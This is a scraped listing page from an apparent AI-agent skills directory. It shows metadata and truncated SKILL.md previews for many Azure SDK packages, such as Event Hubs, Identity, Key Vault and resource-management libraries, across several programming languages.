- Related SDKs
- When to Use
Files
SKILL.mdcore10,488 bytesSKILL.mdcore10,488 bytesSKILL.mdcore10,488 bytes
Read SKILL.md
# Azure.Messaging.EventHubs (.NET)
High-throughput event streaming SDK for sending and receiving events via Azure Event Hubs.
## Installation
```bash
# Core package (sending and simple receiving)
dotnet add package Azure.Messaging.EventHubs
# Processor package (production receiving with checkpointing)
dotnet add package Azure.Messaging.EventHubs.Processor
# AuthenticationView the complete source on GitHubazure-eventhub-java
When your agent uses it
Build real-time streaming applications with Azure Event Hubs SDK for Java. Use when implementing event streaming, high-throughput data ingestion, or building event-driven architectures.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
2,264 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Core Patterns
- Event Positions
- Error Handling
- Resource Cleanup
- Environment Variables
- Best Practices
- Trigger Phrases
- When to Use
Files
SKILL.mdcore10,504 bytesSKILL.mdcore10,504 bytes
Read SKILL.md
# Azure Event Hubs SDK for Java
Build real-time streaming applications using the Azure Event Hubs SDK for Java.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-messaging-eventhubs</artifactId>
<version>5.19.0</version>
</dependency>
<!-- For checkpoint store (production) -->View the complete source on GitHubazure-eventhub-py
When your agent uses it
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
1,490 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Types
- Send Events
- Receive Events
- Async Client
- Event Properties
- Get Event Hub Info
- Best Practices
- Reference Files
- When to Use
Files
SKILL.mdcore6,988 bytesSKILL.mdcore6,988 bytesSKILL.mdcore6,988 bytesSKILL.mdcore6,988 bytesSKILL.mdcore6,988 bytesSKILL.mdcore6,988 bytesSKILL.mdcore6,988 bytesSKILL.mdcore6,988 bytesSKILL.mdcore6,988 bytesSKILL.mdcore6,988 bytesSKILL.mdcore6,988 bytes
Read SKILL.md
# Azure Event Hubs SDK for Python
Big data streaming platform for high-throughput event ingestion.
## Installation
```bash
pip install azure-eventhub azure-identity
# For checkpointing with blob storage
pip install azure-eventhub-checkpointstoreblob-aio
```
## Environment Variables
View the complete source on GitHubazure-eventhub-rust
When your agent uses it
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
813 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Key Concepts
- Producer Client
- Consumer Client
- Best Practices
- Checkpoint Store (Optional)
- Reference Links
- When to Use
Files
SKILL.mdcore3,577 bytesSKILL.mdcore3,577 bytesSKILL.mdcore3,577 bytesSKILL.mdcore3,577 bytes
Read SKILL.md
# Azure Event Hubs SDK for Rust
Client library for Azure Event Hubs — big data streaming platform and event ingestion service.
## Installation
```sh
cargo add azure_messaging_eventhubs azure_identity
```
## Environment Variables
```bash
EVENTHUBS_HOST=<namespace>.servicebus.windows.netView the complete source on GitHubazure-eventhub-ts
When your agent uses it
Build event streaming applications using Azure Event Hubs SDK for JavaScript (@azure/event-hubs). Use when implementing high-throughput event ingestion, real-time analytics, IoT telemetry, or event...
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
1,663 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Core Workflow
- Event Hub Properties
- Batch Processing Options
- Key Types
- Event Properties
- Error Handling
- Best Practices
- When to Use
Files
SKILL.mdcore7,238 bytesSKILL.mdcore7,238 bytesSKILL.mdcore7,238 bytesSKILL.mdcore7,238 bytes
Read SKILL.md
# Azure Event Hubs SDK for TypeScript
High-throughput event streaming and real-time data ingestion.
## Installation
```bash
npm install @azure/event-hubs @azure/identity
```
For checkpointing with consumer groups:
```bash
npm install @azure/eventhubs-checkpointstore-blob @azure/storage-blob
```View the complete source on GitHubazure-functions
When your agent uses it
Expert patterns for Azure Functions development including isolated worker model, Durable Functions orchestration, cold start optimization, and production patterns. Covers .NET, Python, and Node.js ...
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
299 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Patterns
- Anti-Patterns
- ⚠<U+FE0F> Sharp Edges
- When to Use
Files
SKILL.mdcore1,393 bytes
Read SKILL.md
# Azure Functions
## Patterns
### Isolated Worker Model (.NET)
Modern .NET execution model with process isolation
### Node.js v4 Programming Model
Modern code-centric approach for TypeScript/JavaScript
### Python v2 Programming Model
View the complete source on GitHubazure-identity-dotnet
When your agent uses it
What it loads into context
Frontmatter
95 tokensAlways available to the agent
SKILL.md
2,113 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- DefaultAzureCredential
- Credential Types
- Environment-Based Configuration
- Sovereign Clouds
- Credential Types Reference
- Best Practices
- Error Handling
- Key Exceptions
- Managed Identity Support
- Thread Safety
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore9,849 bytesSKILL.mdcore9,849 bytesSKILL.mdcore9,849 bytesSKILL.mdcore9,849 bytesSKILL.mdcore9,849 bytes
Read SKILL.md
# Azure.Identity (.NET)
Authentication library for Azure SDK clients using Microsoft Entra ID (formerly Azure AD).
## Installation
```bash
dotnet add package Azure.Identity
# For ASP.NET Core
dotnet add package Microsoft.Extensions.Azure
# For brokered authentication (Windows)
dotnet add package Azure.Identity.BrokerView the complete source on GitHubazure-identity-java
When your agent uses it
Azure Identity Java SDK for authentication with Azure services. Use when implementing DefaultAzureCredential, managed identity, service principal, or any Azure authentication pattern in Java applic...
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
2,325 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Key Concepts
- DefaultAzureCredential (Recommended)
- Managed Identity
- Service Principal with Secret
- Service Principal with Certificate
- Environment Credential
- Azure CLI Credential
- Interactive Browser
- Device Code
- Chained Credential
- Workload Identity (AKS)
- Token Caching
- Sovereign Clouds
- Error Handling
- Logging
- Environment Variables
- Best Practices
- Credential Selection Matrix
- Trigger Phrases
- When to Use
Files
SKILL.mdcore11,141 bytesSKILL.mdcore11,141 bytesSKILL.mdcore11,141 bytesSKILL.mdcore11,141 bytesSKILL.mdcore11,141 bytes
Read SKILL.md
# Azure Identity (Java)
Authenticate Java applications with Azure services using Microsoft Entra ID (Azure AD).
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-identity</artifactId>
<version>1.15.0</version>
</dependency>
```
View the complete source on GitHubazure-identity-py
When your agent uses it
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
1,179 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- DefaultAzureCredential
- Specific Credential Types
- Credential Types Table
- Getting Tokens Directly
- Async Client
- Best Practices
- When to Use
Files
SKILL.mdcore5,553 bytesSKILL.mdcore5,553 bytesSKILL.mdcore5,553 bytesSKILL.mdcore5,553 bytesSKILL.mdcore5,553 bytesSKILL.mdcore5,553 bytesSKILL.mdcore5,553 bytesSKILL.mdcore5,553 bytesSKILL.mdcore5,553 bytesSKILL.mdcore5,553 bytesSKILL.mdcore5,553 bytes
Read SKILL.md
# Azure Identity SDK for Python
Authentication library for Azure SDK clients using Microsoft Entra ID (formerly Azure AD).
## Installation
```bash
pip install azure-identity
```
## Environment Variables
```bash
# Service Principal (for production/CI)View the complete source on GitHubazure-identity-rust
When your agent uses it
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
792 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- DeveloperToolsCredential
- Credential Types
- ManagedIdentityCredential
- ClientSecretCredential
- Best Practices
- Reference Links
- When to Use
Files
SKILL.mdcore3,629 bytesSKILL.mdcore3,629 bytesSKILL.mdcore3,629 bytes
Read SKILL.md
# Azure Identity SDK for Rust
Authentication library for Azure SDK clients using Microsoft Entra ID (formerly Azure AD).
## Installation
```sh
cargo add azure_identity
```
## Environment Variables
```bash
# Service Principal (for production/CI)View the complete source on GitHubazure-identity-ts
When your agent uses it
Authenticate to Azure services using Azure Identity SDK for JavaScript (@azure/identity). Use when configuring authentication with DefaultAzureCredential, managed identity, service principals, or i...
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
1,518 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- DefaultAzureCredential (Recommended)
- Managed Identity
- Service Principal
- Interactive Authentication
- Custom Credential Chain
- Developer Credentials
- Sovereign Clouds
- Bearer Token Provider
- Key Types
- Custom Credential Implementation
- Debugging
- Best Practices
- When to Use
Files
SKILL.mdcore6,901 bytesSKILL.mdcore6,901 bytesSKILL.mdcore6,901 bytesSKILL.mdcore6,901 bytesSKILL.mdcore6,901 bytes
Read SKILL.md
# Azure Identity SDK for TypeScript
Authenticate to Azure services with various credential types.
## Installation
```bash
npm install @azure/identity
```
## Environment Variables
### Service Principal (Secret)
View the complete source on GitHubazure-keyvault-certificates-rust
When your agent uses it
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
1,024 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Core Operations
- Certificate Lifecycle
- Best Practices
- RBAC Permissions
- Reference Links
- When to Use
Files
SKILL.mdcore4,690 bytesSKILL.mdcore4,690 bytesSKILL.mdcore4,690 bytes
Read SKILL.md
# Azure Key Vault Certificates SDK for Rust
Client library for Azure Key Vault Certificates — secure storage and management of certificates.
## Installation
```sh
cargo add azure_security_keyvault_certificates azure_identity
```
## Environment Variables
```bash
AZURE_KEYVAULT_URL=https://<vault-name>.vault.azure.net/View the complete source on GitHubazure-keyvault-keys-rust
When your agent uses it
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
1,018 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Key Types
- Core Operations
- Cryptographic Operations
- Best Practices
- RBAC Permissions
- Reference Links
- When to Use
Files
SKILL.mdcore4,071 bytesSKILL.mdcore4,071 bytesSKILL.mdcore4,071 bytes
Read SKILL.md
# Azure Key Vault Keys SDK for Rust
Client library for Azure Key Vault Keys — secure storage and management of cryptographic keys.
## Installation
```sh
cargo add azure_security_keyvault_keys azure_identity
```
## Environment Variables
```bash
AZURE_KEYVAULT_URL=https://<vault-name>.vault.azure.net/View the complete source on GitHubazure-keyvault-keys-ts
When your agent uses it
Manage cryptographic keys using Azure Key Vault Keys SDK for JavaScript (@azure/keyvault-keys). Use when creating, encrypting/decrypting, signing, or rotating keys.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
1,498 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Secrets Operations
- Keys Operations
- Cryptographic Operations
- Backup and Restore
- Key Types
- Error Handling
- Best Practices
- When to Use
Files
SKILL.mdcore6,277 bytesSKILL.mdcore6,277 bytesSKILL.mdcore6,277 bytes
Read SKILL.md
# Azure Key Vault Keys SDK for TypeScript
Manage cryptographic keys with Azure Key Vault.
## Installation
```bash
# Keys SDK
npm install @azure/keyvault-keys @azure/identity
```
## Environment Variables
```bashView the complete source on GitHubazure-keyvault-py
When your agent uses it
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
1,557 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Secrets
- Keys
- Certificates
- Client Types Table
- Async Clients
- Error Handling
- Best Practices
- When to Use
Files
SKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytesSKILL.mdcore6,924 bytes
Read SKILL.md
# Azure Key Vault SDK for Python
Secure storage and management for secrets, cryptographic keys, and certificates.
## Installation
```bash
# Secrets
pip install azure-keyvault-secrets azure-identity
# Keys (cryptographic operations)
pip install azure-keyvault-keys azure-identity
# CertificatesView the complete source on GitHubazure-keyvault-secrets-rust
When your agent uses it
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
866 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Core Operations
- Best Practices
- RBAC Permissions
- Reference Links
- When to Use
Files
SKILL.mdcore3,693 bytesSKILL.mdcore3,693 bytesSKILL.mdcore3,693 bytes
Read SKILL.md
# Azure Key Vault Secrets SDK for Rust
Client library for Azure Key Vault Secrets — secure storage for passwords, API keys, and other secrets.
## Installation
```sh
cargo add azure_security_keyvault_secrets azure_identity
```
## Environment Variables
```bash
AZURE_KEYVAULT_URL=https://<vault-name>.vault.azure.net/View the complete source on GitHubazure-keyvault-secrets-ts
When your agent uses it
Manage secrets using Azure Key Vault Secrets SDK for JavaScript (@azure/keyvault-secrets). Use when storing and retrieving application secrets or configuration values.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
1,485 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Secrets Operations
- Keys Operations
- Cryptographic Operations
- Backup and Restore
- Key Types
- Error Handling
- Best Practices
- When to Use
Files
SKILL.mdcore6,270 bytesSKILL.mdcore6,270 bytesSKILL.mdcore6,270 bytes
Read SKILL.md
# Azure Key Vault Secrets SDK for TypeScript
Manage secrets with Azure Key Vault.
## Installation
```bash
# Secrets SDK
npm install @azure/keyvault-secrets @azure/identity
```
## Environment Variables
```bashView the complete source on GitHubazure-maps-search-dotnet
When your agent uses it
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
3,683 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Core Workflows
- Key Types Reference
- Best Practices
- Error Handling
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore15,351 bytesSKILL.mdcore15,351 bytesSKILL.mdcore15,351 bytes
Read SKILL.md
# Azure Maps (.NET)
Azure Maps SDK for .NET providing location-based services: geocoding, routing, rendering, geolocation, and weather.
## Installation
```bash
# Search (geocoding, reverse geocoding)
dotnet add package Azure.Maps.Search --prerelease
# Routing (directions, route matrix)
dotnet add package Azure.Maps.Routing --prerelease
# Rendering (map tiles, static images)View the complete source on GitHubazure-messaging-webpubsub-java
When your agent uses it
Build real-time web applications with Azure Web PubSub SDK for Java. Use when implementing WebSocket-based messaging, live updates, chat applications, or server-to-client push notifications.
What it loads into context
Frontmatter
67 tokensAlways available to the agent
SKILL.md
2,011 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Key Concepts
- Core Patterns
- Error Handling
- Environment Variables
- Client Roles
- Best Practices
- Trigger Phrases
- When to Use
Files
SKILL.mdcore8,696 bytesSKILL.mdcore8,696 bytes
Read SKILL.md
# Azure Web PubSub SDK for Java
Build real-time web applications using the Azure Web PubSub SDK for Java.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-messaging-webpubsub</artifactId>
<version>1.5.0</version>
</dependency>
```
View the complete source on GitHubazure-messaging-webpubsubservice-py
When your agent uses it
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
1,379 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Service Client (Server-Side)
- Client SDK (Python WebSocket Client)
- Async Service Client
- Client Operations
- Best Practices
- When to Use
Files
SKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytes
Read SKILL.md
# Azure Web PubSub Service SDK for Python
Real-time messaging with WebSocket connections at scale.
## Installation
```bash
# Service SDK (server-side)
pip install azure-messaging-webpubsubservice
# Client SDK (for Python WebSocket clients)
pip install azure-messaging-webpubsubclient
```
View the complete source on GitHubazure-mgmt-apicenter-dotnet
When your agent uses it
What it loads into context
Frontmatter
119 tokensAlways available to the agent
SKILL.md
2,835 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflows
- Key Types Reference
- Best Practices
- Error Handling
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore12,955 bytesSKILL.mdcore12,955 bytesSKILL.mdcore12,955 bytes
Read SKILL.md
# Azure.ResourceManager.ApiCenter (.NET)
Centralized API inventory and governance SDK for managing APIs across your organization.
## Installation
```bash
dotnet add package Azure.ResourceManager.ApiCenter
dotnet add package Azure.Identity
```
**Current Version**: v1.0.0 (GA)
**API Version**: 2024-03-01
View the complete source on GitHubazure-mgmt-apicenter-py
When your agent uses it
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,484 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Create API Center
- List API Centers
- Register an API
- Create API Version
- Add API Definition
- Import API Specification
- List APIs
- Create Environment
- Create Deployment
- Define Custom Metadata
- Client Types
- Operations
- Best Practices
- When to Use
Files
SKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytes
Read SKILL.md
# Azure API Center Management SDK for Python
Manage API inventory, metadata, and governance in Azure API Center.
## Installation
```bash
pip install azure-mgmt-apicenter
pip install azure-identity
```
## Environment Variables
```bashView the complete source on GitHubazure-mgmt-apimanagement-dotnet
When your agent uses it
What it loads into context
Frontmatter
119 tokensAlways available to the agent
SKILL.md
2,180 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflow
- Key Types Reference
- SKU Types
- Best Practices
- Error Handling
- Reference Files
- Related Resources
- When to Use
Files
SKILL.mdcore9,796 bytesSKILL.mdcore9,796 bytesSKILL.mdcore9,796 bytes
Read SKILL.md
# Azure.ResourceManager.ApiManagement (.NET)
Management plane SDK for provisioning and managing Azure API Management resources via Azure Resource Manager.
> **⚠<U+FE0F> Management vs Data Plane**
> - **This SDK (Azure.ResourceManager.ApiManagement)**: Create services, APIs, products, subscriptions, policies, users, groups
> - **Data Plane**: Direct API calls to your APIM gateway endpoints
## Installation
```bash
dotnet add package Azure.ResourceManager.ApiManagement
dotnet add package Azure.Identity
```View the complete source on GitHubazure-mgmt-apimanagement-py
When your agent uses it
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,597 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Create APIM Service
- Import API from OpenAPI
- Import API from URL
- List APIs
- Create Product
- Add API to Product
- Create Subscription
- Set API Policy
- Create Named Value (Secret)
- Create Backend
- Create User
- Operation Groups
- Best Practices
- When to Use
Files
SKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytesSKILL.mdcore6,939 bytes
Read SKILL.md
# Azure API Management SDK for Python
Manage Azure API Management services, APIs, products, and policies.
## Installation
```bash
pip install azure-mgmt-apimanagement
pip install azure-identity
```
## Environment Variables
```bashView the complete source on GitHubazure-mgmt-applicationinsights-dotnet
When your agent uses it
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
3,874 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflows
- Key Types Reference
- Application Types
- Web Test Locations
- Best Practices
- Error Handling
- SDK Integration
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore17,691 bytesSKILL.mdcore17,691 bytesSKILL.mdcore17,691 bytes
Read SKILL.md
# Azure.ResourceManager.ApplicationInsights (.NET)
Azure Resource Manager SDK for managing Application Insights resources for application performance monitoring.
## Installation
```bash
dotnet add package Azure.ResourceManager.ApplicationInsights
dotnet add package Azure.Identity
```
**Current Version**: v1.0.0 (GA)
**API Version**: 2022-06-15
View the complete source on GitHubazure-mgmt-arizeaiobservabilityeval-dotnet
When your agent uses it
What it loads into context
Frontmatter
117 tokensAlways available to the agent
SKILL.md
1,722 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Package Info
- Environment Variables
- Authentication
- Core Workflow
- Key Types
- Enums
- Best Practices
- Error Handling
- Direct Resource Access
- Links
- When to Use
Files
SKILL.mdcore7,405 bytesSKILL.mdcore7,405 bytesSKILL.mdcore7,405 bytes
Read SKILL.md
# Azure.ResourceManager.ArizeAIObservabilityEval
.NET SDK for managing Arize AI Observability and Evaluation resources on Azure.
## Installation
```bash
dotnet add package Azure.ResourceManager.ArizeAIObservabilityEval --version 1.0.0
```
## Package Info
| Property | Value |
|----------|-------|View the complete source on GitHubazure-mgmt-botservice-dotnet
When your agent uses it
What it loads into context
Frontmatter
100 tokensAlways available to the agent
SKILL.md
2,249 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflows
- Supported Channel Types
- Key Types Reference
- BotServiceKind Values
- BotServiceSkuName Values
- BotMsaAppType Values
- Best Practices
- Error Handling
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore9,835 bytesSKILL.mdcore9,835 bytesSKILL.mdcore9,835 bytes
Read SKILL.md
# Azure.ResourceManager.BotService (.NET)
Management plane SDK for provisioning and managing Azure Bot Service resources via Azure Resource Manager.
## Installation
```bash
dotnet add package Azure.ResourceManager.BotService
dotnet add package Azure.Identity
```
**Current Versions**: Stable v1.1.1, Preview v1.1.0-beta.1
## Environment VariablesView the complete source on GitHubazure-mgmt-botservice-py
When your agent uses it
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
1,695 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Create a Bot
- Get Bot Details
- List Bots in Resource Group
- List All Bots in Subscription
- Update Bot
- Delete Bot
- Configure Channels
- Get Channel Details
- List Channel Keys
- Bot Connections (OAuth)
- Client Operations
- SKU Options
- Channel Types
- Best Practices
- When to Use
Files
SKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytesSKILL.mdcore7,782 bytes
Read SKILL.md
# Azure Bot Service Management SDK for Python
Manage Azure Bot Service resources including bots, channels, and connections.
## Installation
```bash
pip install azure-mgmt-botservice
pip install azure-identity
```
## Environment Variables
```bashView the complete source on GitHubazure-mgmt-fabric-dotnet
When your agent uses it
What it loads into context
Frontmatter
110 tokensAlways available to the agent
SKILL.md
2,593 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflows
- SKU Reference
- Key Types Reference
- Provisioning and Resource States
- Best Practices
- Error Handling
- Common Pitfalls
- Related SDKs
- References
- When to Use
Files
SKILL.mdcore11,120 bytesSKILL.mdcore11,120 bytesSKILL.mdcore11,120 bytes
Read SKILL.md
# Azure.ResourceManager.Fabric (.NET)
Management plane SDK for provisioning and managing Microsoft Fabric capacity resources via Azure Resource Manager.
> **Management Plane Only**
> This SDK manages Fabric *capacities* (compute resources). For working with Fabric workspaces, lakehouses, warehouses, and data items, use the Microsoft Fabric REST API or data plane SDKs.
## Installation
```bash
dotnet add package Azure.ResourceManager.Fabric
dotnet add package Azure.Identity
```
View the complete source on GitHubazure-mgmt-fabric-py
When your agent uses it
What it loads into context
Frontmatter
67 tokensAlways available to the agent
SKILL.md
1,503 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Create Fabric Capacity
- Get Capacity Details
- List Capacities in Resource Group
- List All Capacities in Subscription
- Update Capacity
- Suspend Capacity
- Resume Capacity
- Delete Capacity
- Check Name Availability
- List Available SKUs
- Client Operations
- Fabric SKUs
- Capacity States
- Long-Running Operations
- Best Practices
- When to Use
Files
SKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytesSKILL.mdcore6,405 bytes
Read SKILL.md
# Azure Fabric Management SDK for Python
Manage Microsoft Fabric capacities and resources programmatically.
## Installation
```bash
pip install azure-mgmt-fabric
pip install azure-identity
```
## Environment Variables
```bashView the complete source on GitHubazure-mgmt-mongodbatlas-dotnet
When your agent uses it
Manage MongoDB Atlas Organizations as Azure ARM resources using Azure.ResourceManager.MongoDBAtlas SDK. Use when creating, updating, listing, or deleting MongoDB Atlas organizations through Azure M...
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
2,381 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Package Information
- Installation
- Important Scope Limitation
- Authentication
- Core Types
- Workflows
- Model Properties Reference
- Provisioning States
- Marketplace Subscription Status
- Best Practices
- Common Errors
- Related Resources
- When to Use
Files
SKILL.mdcore10,906 bytesSKILL.mdcore10,906 bytes
Read SKILL.md
# Azure.ResourceManager.MongoDBAtlas SDK
Manage MongoDB Atlas Organizations as Azure ARM resources with unified billing through Azure Marketplace.
## Package Information
| Property | Value |
|----------|-------|
| Package | `Azure.ResourceManager.MongoDBAtlas` |
| Version | 1.0.0 (GA) |
| API Version | 2025-06-01 |
| Resource Type | `MongoDB.Atlas/organizations` |
| NuGet | [Azure.ResourceManager.MongoDBAtlas](https://www.nuget.org/packages/Azure.ResourceManager.MongoDBAtlas) |
View the complete source on GitHubazure-mgmt-weightsandbiases-dotnet
When your agent uses it
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
2,501 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflows
- Key Types Reference
- Available Regions
- Marketplace Offer Details
- Best Practices
- Error Handling
- Integration with W&B SDK
- Related SDKs
- Reference Links
- When to Use
Files
